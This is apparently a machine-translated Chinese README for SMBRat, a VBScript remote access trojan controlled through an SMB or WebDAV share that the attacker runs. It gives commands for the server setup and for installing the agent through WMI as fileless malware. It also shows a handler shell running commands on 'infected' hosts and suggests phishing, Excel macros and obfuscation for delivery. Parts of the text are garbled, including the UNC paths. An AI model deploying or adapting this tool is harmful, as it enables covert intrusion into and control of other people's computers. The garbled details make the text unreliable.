Visual Basic 脚本中的 Windows 远程管理工具
Active Directory网络等Windows 环境因SMB流量而变得非常臃肿。
所有主机都从SYSVOL获取策略,配置需要远程文件才能工作,桌面快捷方式往往指向\somethingelseinthenetwork.exe
。
没有人会注意到另一次连接尝试。正确的?
- 特别是如果它成功了(仅监视防火墙拒绝是一种时尚)
该agent
是一个Visual Basic 脚本,在受感染的主机上运行并连接到SMB 服务器。它在其中创建一个以主机的hostname
和主MAC
地址命名的目录(为了报告目的,同时尝试保持唯一性和信息丰富性)。受感染主机的所有命令和信息都将存储在该目录中。 zip
ping 整个共享文件夹将存档所有项目信息!
它不使用驱动器号来挂载共享,仅使用UNC paths
直接读取远程文件(在explorer.exe
中不创建驱动器)。
它还将UNC path
注入到其自身执行环境的%PATH%
变量中(您可以直接从 Linux 计算机的文件系统运行可执行文件)。
该agent
配置为运行一次。无国籍。
它的例程(或多或少)如下:
exec.dat
的文件cmd.exe /c <command>
将其作为命令执行,就像半交互式 shell一样。output.dat
中(位于exec.dat
旁边)。exec.dat
文件。 handler
需要SMB 服务器才能工作。 Core Security 的impacket
包中的smbserver.py
模块就可以了。
smbd
很可能也能做到这一点,但尚未经过测试。
需要名为D$
的共享,以看起来像合法的 Windows 主机的 SMB。
# mkdir Share
# smbserver.py -comment "My Share" "D$" Share/
Impacket v0.9.17-dev - Copyright 2002-2018 Core Security Technologies
[ * ] Config file parsed
[ * ] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[ * ] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[ * ] Config file parsed
[ * ] Config file parsed
[ * ] Config file parsed
由于agent
配置为仅使用 UNC 路径,因此 WebDAV 也可以零更改地使用。可以使用WebDAV 服务器代替 SMB 服务器(支持 SSL 的出色 WebDAV 服务器是 wsgidav)。
# mkdir 'D$'
# wsgidav -p 80 -H 0.0.0.0 -r . --auth anonymous
[...] INFO : WsgiDAV/3.0.0 Python/2.7.16 Linux-4.19.0-kali3-amd64-x86_64-with-Kali-kali-rolling-kali-rolling
[...] INFO : Lock manager: LockManager(LockStorageDict)
[...] INFO : Property manager: None
[...] INFO : Domain controller: SimpleDomainController ()
[...] INFO : Registered DAV providers by route:
[...] INFO : - ' /:dir_browser ' : FilesystemProvider for path ' /root/.virtualenvs/wsgidav/local/lib/python2.7/site-packages/wsgidav/dir_browser/htdocs ' (Read-Only) (anonymous)
[...] INFO : - ' / ' : FilesystemProvider for path ' /tmp/DAV ' (Read-Write) (anonymous)
[...] WARNING : Basic authentication is enabled: It is highly recommended to enable SSL.
[...] WARNING : Share ' /:dir_browser ' will allow anonymous read access.
[...] WARNING : Share ' / ' will allow anonymous write access.
[...] INFO : Running WsgiDAV/3.0.0 Cheroot/6.5.4 Python/2.7.16
[...] INFO : Serving on http://0.0.0.0:80 ...
[...] INFO : 192.168.163.130 - (anonymous) - [2019-04-18 14:57:53] " PROPFIND /D$/Project1/DESKTOP-I3NFOQ5-John-AA-BB-CC-DD-EE-FF/ping.dat " length=0, depth=0, elap=0.004sec - > 207 Multi-Status
对于 SSL 支持,UNC 路径必须稍作更改,如下:
\<Server-IP>DIR
到:
\<Server-IP>@SSL@443DIR
此更改只能对ServerName
agent.vbs
变量进行,因为所有路径都是由此构建的。请记住,运行agent
的系统必须信任SSL 证书。自签名证书将失败并出现警告。
可以在agent.vbs
文件的开头添加一个While循环,并带有多秒的延迟语句(理想情况是10秒),它将能够通过双击/网络钓鱼/ Excel宏/等等来感染Windows主机...
VBS中延迟 1 秒的while True
循环如下所示:
Do While True
[ ... ]
WScript.Sleep 1000
Loop
然而,如果 Windows 主机启用了RPC ,则可以通过WMI
将VBS文件安装为无文件恶意软件,并使用如下命令来安装精彩的impacket
包示例:
$ examples/wmipersist.py ' <username>:<password>@<hostname/ipaddress> ' install -vbs agent.vbs -name smbrat -timer 10
还可以通过本地访问利用WMI
工具将agent.vbs
安装为无文件恶意软件。
Visual Basic 脚本可以很好地进行混淆、 base64处理以及缩小。
在“部署”之前先试一试真的很方便
在撰写本文时,尚未实现因此,只需使用Handler
shell,watch
之类的命令来检查output.dat
文件即可完成使用:
$ watch -n0.2 cat Share/projectName/DESKTOP-XXXXXXX-AA : BB : CC : DD : EE : FF/output.dat
并echo
将内容写入exec.dat
文件:
$ echo ' whoami /all ' > Share/projectName/DESKTOP-XXXXXXX-AA : BB : CC : DD : EE : FF/exec.dat
handler.py
实验shell的工作原理如下:
$ python handler.py Share/
SMBRat >
# When a new host gets infected:
[+] Agent " DESKTOP-EG4OE7J " (00:0C:29:2B:9F:AF) just checked-in for Project: " projectName "
SMBRat > execall whoami /user
[ > ] Sending ' whoami /user ' to " projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF " ...
SMBRat >
[ < ] Response from ' projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF ' :
USER INFORMATION
----------------
User Name SID
=================== ========
nt authority s ystem S-1-5-18
^^^^^^^^^^^^^^^^^^^^ projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF ^^^^^^^^^^^^^^^^^^^^
SMBRat >
# tcpdump -i eth0 -A
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
[...]
15:25:06.695502 IP Deskjet-4540.microsoft-ds > 172.16.47.129.3128: Flags [P.], seq 2876:2971, ack 4791, win 2110, length 95 SMB PACKET: SMBreadX (REPLY)
E...,E@[email protected].../.../....8
. & Mi~.6P.. > .......[.SMB........................
.@............ . ; ........... .net localgroup " administrators "
[...]
15:25:06.702916 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 4917:5111, ack 3097, win 2052, length 194 SMB PACKET: SMBtrans2 (REQUEST)
E...E.@......./.../..8..i~..
. ' *P....b.......SMB2......................
.F..z.....(...........z.D.........}...........p.r.o.j.e.c.t.N.a.m.e..D.E.S.K.T.O.P.-.E.G.4.O.E.7.J.-.0.0.:.0.C.:.2.9.:.2.B.:.9.F.:.A.F..o.u.t.p.u.t...d.a.t...
[...]
15:25:06.751372 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 6049:6393, ack 3748, win 2050, length 344 SMB PACKET: SMBwrite (REQUEST)
[email protected]../.../..8..i~.
.).P....*.....T.SMB........................
.T....$....... ' ..$.Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Admin
Administrator
defaultuser0
The command completed successfully.
[...]
如果使用SMBv1 服务器(例如impacket
的smbserver.py
),则流量(文件内容和路径)将以明文形式传输。
所有代理都可以修改存储在Whole Share中的文件。这意味着他们可以修改其他代理的exec.dat
... smbmap
将揭示:
$ smbmap -H 172.16.47.189
[+] Finding open SMB ports....
[+] User SMB session establishd on 172.16.47.189...
[+] IP: 172.16.47.189:445 Name: Deskjet-4540
Disk Permissions
---- -----------
D$ READ, WRITE
[ ! ] Unable to remove test directory at \ 172.16.47.189 D $ S VNRmxBFAO, plreae remove manually
IPC$ READ, WRITE
[ ! ] Unable to remove test directory at \ 172.16.47.189 I PC$ S VNRmxBFAO, plreae remove manually
smbmap
缺少-u
和-p
参数。这是一个NULL 会话(如 FTP 匿名登录)。每个人都可以更改共享文件并在所有受感染的计算机上获得远程代码执行。
iptables
...键入execall netsh
,您就会丢失所有代理。没有人会响应,因为agent.vbs
将生成netsh.exe
shell 并等待它终止,以便它可以将其内容写入output.dat
。但你猜怎么着...它不会终止...它会挂起, netsh>
指向空。